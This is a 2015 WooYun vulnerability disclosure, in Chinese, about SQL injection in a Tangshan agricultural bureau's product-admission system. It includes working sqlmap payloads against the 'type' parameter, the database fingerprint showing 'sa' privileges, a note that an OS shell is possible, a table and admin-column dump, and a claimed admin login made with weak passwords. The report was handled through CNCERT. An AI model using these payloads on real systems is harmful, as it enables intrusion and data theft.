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缺陷编号：wooyun-2015-0140881

漏洞标题：唐山市某局某系统高危SQL注入+多部门弱口令漏洞致后台沦陷

相关厂商：唐山市农牧局

漏洞作者： 岛云首席鉴黄师

提交时间：2015-09-15 14:40

修复时间：2015-11-01 15:56

公开时间：2015-11-01 15:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-15： 细节已通知厂商并且等待厂商处理中
2015-09-17： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-09-27： 细节向核心白帽子及相关领域专家公开
2015-10-07： 细节向普通白帽子公开
2015-10-17： 细节向实习白帽子公开
2015-11-01： 细节向公众公开

简要描述：

公司：我的备案通不过怎么办？ 黑帽：2000块钱，包过。

详细说明：

唐山市农牧局农业投入品准入系统

http://**.**.**.**/ApplicationSearch.aspx?type=1


数据库用户是SA权限，又可以--os-shell了呢~

---
Parameter: type (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: type=1 AND 5994=5994
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: type=1 AND 5104=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (5104=5104) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(113)+CHAR(106)+CHAR(113)))
    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: type=(SELECT CHAR(113)+CHAR(107)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (4677=4677) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(113)+CHAR(106)+CHAR(113))
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
    Payload: type=1 OR 3921=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
---
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
current user:    'sa'
sqlmap resumed the following injection point(s) from stored session:
---


数据表：

---
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
Database: TSAA_Application1
[60 tables]
+-------------------------------+
| Application                   |
| ApplicationStatus             |
| Area                          |
| BusinessField                 |
| Company                       |
| CompanyBusinessField          |
| CompanyStatus                 |
| CompanyType                   |
| Education                     |
| Log                           |
| MarketPermission              |
| ProcessDocument               |
| Producer                      |
| Product                       |
| ProductStatus                 |
| ProductionDocument            |
| QualityAssurance              |
| QualityTest                   |
| cms_advs_advscontent          |
| cms_advs_advscustomers        |
| cms_advs_advshits             |
| cms_content_1                 |
| cms_content_2                 |
| cms_content_3                 |
| cms_content_4                 |
| cms_content_5                 |
| cms_content_6                 |
| cms_content_Content           |
| cms_content_ContentUpFile     |
| cms_log_ContentClickLog       |
| cms_model_FormInputLimitType  |
| cms_model_FormInputType       |
| cms_model_FormInputValue      |
| cms_model_FormInputValueType  |
| cms_model_Model               |
| cms_model_ModelField          |
| cms_node_ContentPubType       |
| cms_node_Node                 |
| cms_node_NodeAddionalPub      |
| cms_node_NodeContentSort      |
| cms_node_NodeGroup            |
| cms_node_NodeType             |
| cms_oper_log                  |
| cms_pub_pubTask               |
| cms_rec_Recom                 |
| cms_rec_RecomContent          |
| cms_rec_RecomTemplate         |
| cms_sys_ContentWorkFlow       |
| cms_sys_Log                   |
| cms_sys_PSN                   |
| cms_sys_ParamType             |
| cms_sys_TimeZone              |
| cms_sys_WordReplace           |
| cms_user_AdminUsers           |
| cms_user_UserBase             |
| cms_user_UserPermission       |
| cms_vwAllBaseInfo             |
| cms_vwCommendAllInfo          |
| cms_vwContentBaseInfoForClick |
| cms_vwContentClickLog         |
+-------------------------------+
sqlmap resumed the following injection point(s) from stored session:
---


管理表：

Table: cms_user_AdminUsers
[10 columns]
+---------------+----------+
| Column        | Type     |
+---------------+----------+
| AddTime       | datetime |
| LastLogTime   | datetime |
| LogName       | nvarchar |
| LogPWD        | varchar  |
| Name          | nvarchar |
| NodeIds       | nvarchar |
| PermissionIds | varchar  |
| PubCount      | int      |
| Sex           | bit      |
| UserBaseId    | int      |
+---------------+----------+


dump出来的数据

8.jpg


全是弱口令……
用管理员帐号进后台证明一下

9.jpg

漏洞证明：

9.jpg

修复方案：

过滤+不要使用弱口令+隐藏后台+数据库权限最小化

版权声明：转载请注明来源 岛云首席鉴黄师@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-09-17 15:55

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给河北分中心，由其后续协调网站管理单位处置。

最新状态：

暂无